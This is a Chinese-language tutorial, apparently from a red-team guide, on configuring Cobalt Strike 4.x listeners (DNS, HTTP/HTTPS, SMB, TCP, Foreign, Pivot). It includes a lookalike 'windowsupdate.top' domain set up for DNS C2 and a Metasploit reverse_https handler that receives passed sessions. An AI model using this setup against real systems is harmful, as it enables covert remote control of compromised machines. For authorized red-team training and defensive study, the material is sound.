# 监听器（Listener）

### Beacon DNS

```
windows/beacon_dns/reverse_dns_txt
```

关于DNS Beacon它在4.x中是有所变化的，这个相对于3.x的变化也会放到原理介绍中讲。

使用Beacon DNS其实非常简单，比如我现在有一个域名**windowsupdate.top**那么我只需要添加两条解析记录即可

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEHZLdnDYyO6zhf3tHG%2F-MEIt7GsxyTIpbbWmjdU%2Fimage.png?alt=media\&token=2d8b0536-797a-43e2-8df8-76e795f3aeae)

首先为域名添加一个**A记录**，解析指向的地址填CS服务器IP，然后添加一个子域名ns1.windowsupdate.top，解析类型选择NS，并把解析指向的地址修改成A记录的域名，随后创建监听器时填写子域名ns1.windowsupdate.top则可

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEHZLdnDYyO6zhf3tHG%2F-MEIuHUybd02QhtqWoTk%2Fimage.png?alt=media\&token=5af0796c-0cdd-4669-947b-fb20f79ec8d0)

背后的原理其实也是很简单，NS（域名解析服务器记录）它指定该域名由哪个DNS服务器来进行解析而我们把它指向windowsupdate.top也就是我们的CS服务器，这样每次查询ns1.windowsupdate.top，最后都会来和我们的CS服务器进行通信。

Beacon DNS payload上线后是不会显示目标信息的

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEHZLdnDYyO6zhf3tHG%2F-MEJ0tKA4ChiCc59rEfi%2Fimage.png?alt=media\&token=2a07368d-05d9-4788-ab93-e0cd751f0644)

上线后会出现一个像这样的黑色图标，因为它不像其他Beacon一样，在第一次连接时就会发送目标的相关信息，相反他每次连接（DNS请求）服务器时如果在没有任务的情况下，服务器都是简单的响应这个DNS请求不会做任何操作，所以我们可以随便执行一条命令或执行checkin命令，效果都是一样，因为Beacon DNS在接受到指令后，在下次回连时会把先把目标机的信息提交过来（checkin命令是强制Beacon DNS发送一次目标信息）

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEHZLdnDYyO6zhf3tHG%2F-MEJ2bUXk-Z9-hJYmSGi%2Fimage.png?alt=media\&token=3dcca726-21e1-409c-8d44-7844fdeb0615)

注：使用Beacon DNS监听器，分阶段payload无法为其生成x64位，只能生成x86的分阶段payload，无阶段payload不受影响

### Beacon HTTP & Beacon HTTPS

```
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
```

Beacon HTTP和HTTPS基本上没有太大的区别，监听器配置选项都是一样的，只是HTTPS会多一个SSL证书配置，但是这个是在.profile文件里配置的后面会讲

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MENjrhpxpHF9FnHNn8L%2F-MENk5xnECSQpcPG9BUB%2Fimage.png?alt=media\&token=b09c3890-8ddc-4ebc-b871-53e7320355fa)

说一下关键的几项

HTTPS Hosts ：这个是HTTPS Beacon回连主机地址

HTTPS Stager ：这个是配置分阶段payload，Stager的请求地址（这个在会在后面详细介绍）

Profile ：选择使用哪个C2配置文件这是相较于3.x的一个改进，可以在一个C2配置文件中通过指定多个配置文件的变体达到，在监听器里可以选择不同的C2配置

HTTPS Port(C2) ：选项配置HTTPS Beacon回连主机端口

HTTPS Port(Bind)：此选项也是相较于3.x的一个，改进一般在配置重定向器时使用在扩展篇中会详细讲解

HTTP Host Header：此选项和一个名为域前置的技术有关在扩展篇中会详细讲解

以上选项中，部分选项我会放到相关的地方详细讲解，一般来说最普通的配置就是如下，仅需配置https hosts，https host(Stager)，HTTPS Port(C2)这三项即可

![最简单的配置](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEQlMuZz3NPhb8RgH3B%2F-MEQyfSPGdw0wOj84Wvq%2Fimage.png?alt=media\&token=7f88ebbf-0a4a-488e-a8b7-a291a0f12f23)

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEQlMuZz3NPhb8RgH3B%2F-MEQzwe1c7qzb9ac0hte%2Fimage.png?alt=media\&token=2f4f0602-a535-4067-9e79-8d4ee7331b4f)

### Beacon SMB

```
windows/beacon_bind_pipe
```

Beacon SMB使用命名管道与一个父Beacon进行通信，在由这个父Beacon与服务端通信，相当于一个桥梁，(**因为Windows可以将命名管道通信封装在 SMB 协议中与远程主机进行通信，所以得名 SMB Beacon)**

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MER-6XOXcxRT3H6tsVU%2F-MER2nzD8TY6SHL-8rs1%2Fimage.png?alt=media\&token=8c3ce8c9-0708-4099-9bd5-2a7e22e81854)

Beacon SMB仅需配置一项Pipename(C2)也就是命名管道的名字，在3.x中是无法直接自定命名管道的名字的

![右键选择一个会话，然后执行派生会话，选择smb监听器进行派生](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MER-6XOXcxRT3H6tsVU%2F-MER4LcVvnv1MM785ONz%2Fimage.png?alt=media\&token=452dc2f0-80d9-4115-9240-1d9f6f4e15b5)

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MER-6XOXcxRT3H6tsVU%2F-MER4pzBIOCWMy_9xZhw%2Fimage.png?alt=media\&token=13df4d6c-472f-4bcc-b0c2-6414652d5735)

转到Pivot视图我们可以看到父Beacon通过一个橙色箭头连接着子Beacon，我这里演示使用的是同一台机器，但是Beacon SMB是可以进行远程连接的也就是跨机器连接

如果你想断开与子Beacon的连接可以使用unlink命令，后面跟上要断开连接的主机和pid，因为一台主机上可以运行多个Beacon SMB，所以需要具体指定要断开的是哪个Beacon SMB

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MER-6XOXcxRT3H6tsVU%2F-MER6F_Q3NFmdEdAMIme%2Fimage.png?alt=media\&token=874a8af2-82ed-426b-9201-eb9ffaa435b3)

如果想要重新连接Beacon SMB可以是link命令后面跟上主机和使用的命名管道名称

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MER-6XOXcxRT3H6tsVU%2F-MER7qwgYrYgdYmMcgOK%2Fimage.png?alt=media\&token=fa8d78f6-e746-4175-964b-04002d2d44f1)

使用Beacon SMB需要注意的有\
1.因为是将命名管道封装到SMB协议中，进行通信所以目标至少得能进行SMB协议通信开启SMB服务\
2.因为是使用SMB协议，所以还需要注意一下访问权限否则可能无法连接对方

### Beacon TCP

```
windows/beacon_bind_tcp
```

TCP Beacon和SMB Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP socket进行通信

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MERGcIH_3gc0oQ-6GsZ%2F-MERHRTaSYOqktHWY8Tc%2Fimage.png?alt=media\&token=0e264c67-c38e-4196-a602-aa60a4315282)

TCP Beacon的选项也是十分的简单只有两项

Port(C2) ：这用来控制TCP Beacon在目标上监听端口，用来等待父Beacon连接

Bind to localhost only选项是来配置TCP Beacon监听绑定地址的，如果勾选上则仅绑定127.0.0.1本地ip，默认不勾选绑定在0.0.0.0，如果只绑定127.0.0.1那么只能进行本地连接，远程主机是无法访问的，0.0.0.0是监听所有地址（注：监听绑定非127.0.0.1 windows防火墙会有提示）

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MERGcIH_3gc0oQ-6GsZ%2F-MERLfxTf_NQ4hs62BSR%2Fimage.png?alt=media\&token=9347595a-64b7-44ee-a081-8f5f531783b6)

我这里勾选上仅监听本地主机，因为我是本地连接所以无需绑定0.0.0.0，如果你是在远程主机运行payload请不要勾选。

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MERGcIH_3gc0oQ-6GsZ%2F-MERNNC41nzG91HSklQ-%2Fimage.png?alt=media\&token=06fd6ef2-3645-4839-aac0-9b24e76e3b99)

执行派生会话后，转到Pivot视图后可以看到父Beacon通过绿色的箭头连接着子Beacon。

断开和重新连接和SMB Beacon差不多。连接一个TCP Beacon使用connect \[ip address] \[port]，断开连接还是使用unlink命令

### External C2

External C2（外部C2）这里不做介绍因为他是一种特殊的监听器要讲的比较多所以放到扩展中单独讲。

### Foreign Listeners

```
windows/foreign/reverse_http
windows/foreign/reverse_https
在3.x中还有一种windows/foreign/reverse_tcp
```

对外监听器在CS4.x中一共有两种**Foreign HTTP**和**Foreign HTTPS，**&#x8FD9;两种并没有什么太大的区别他们的关系和Beacon HTTP(S)基本上差不多，这两种监听器一般用来派生会话到MSF，下面简单演示一下

首先msf起一个监听器

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lhost msf ip
lhost => msf ip
msf exploit(handler) > set lport 8777
lport => 4444
msf exploit(handler) > exploit
```

然后CS里配置一下，填上msf服务器的ip和监听的端口

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEROf2uEuZYQ4Fkgn1l%2F-MERTH1va4KMn5LMEH2P%2Fimage.png?alt=media\&token=171b46df-591b-4eb3-bf03-0e10220c879d)

然后选择会话右键派生会话选择外部监听器

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEROf2uEuZYQ4Fkgn1l%2F-MERTg4Y19w2jWMwHTu6%2Fimage.png?alt=media\&token=d0d1b55c-02e3-4e4b-9296-851b3b5a46d7)

随后msf会接收到会话

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEROf2uEuZYQ4Fkgn1l%2F-MERWAporJPg4-AK7J6V%2Fimage.png?alt=media\&token=df632713-aebe-412f-bf26-54f0b67ab106)

这里没有太多需要说的，主要是派生时候，msf选择payload注意一下架构（x86）

### Pivot Listeners

```
windows/beacon_reverse_tcp
```

此监听器之前有所介绍，它不会出现在新建监听器，对话框的列表里使用它需要选择指定的会话右键-> Pivoting -> Listener

![创建Pivot Listeners](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEY24xlHTP-qF55Yfk6%2F-MEYByvlufMnNT-EdSGy%2Fimage.png?alt=media\&token=84076735-5dd5-4d02-aaa1-5539c5fd8339)

在前面的时候就说过创建这种监听器Beacon不会主动修改防火墙设置所以如果防火墙开启着会有提示所以请提前添加放行或关闭防火墙

![这是因为父Beacon会监听本地的主机端口，等待子Beacon连接](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEYDiqTrgol0tZxu3_R%2F-MEYEVajymVBfJePEgRF%2Fimage.png?alt=media\&token=e6933eb1-ab52-43c9-861b-44feba674d54)

仔细查看其实能发现Pivot Listeners就是利用的反向端口转发和前面的Beacon TCP， Beacon SMB类似都是通过父Beacon进行通信

![](https://3226329500-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MDZyrMxFR2BnFjV82cS%2F-MEYFf3eIz3etysTt40a%2F-MEYFhyTd3H8xLFAHJzh%2Fimage.png?alt=media\&token=1ad23945-7dc0-4400-9914-280e1dd2034d)

注：Pivot Listeners仅能生成无阶段payload，同时如果使用unlink命令断开与子Beacon的连接则子Beacon会直接退出，而不是像TCP或SMB Beacon那样可以再次连接因为这个是反向的。

最后要说的是在4.x有部分监听器和3.x有所不同或被移除这些都会放在原理篇中
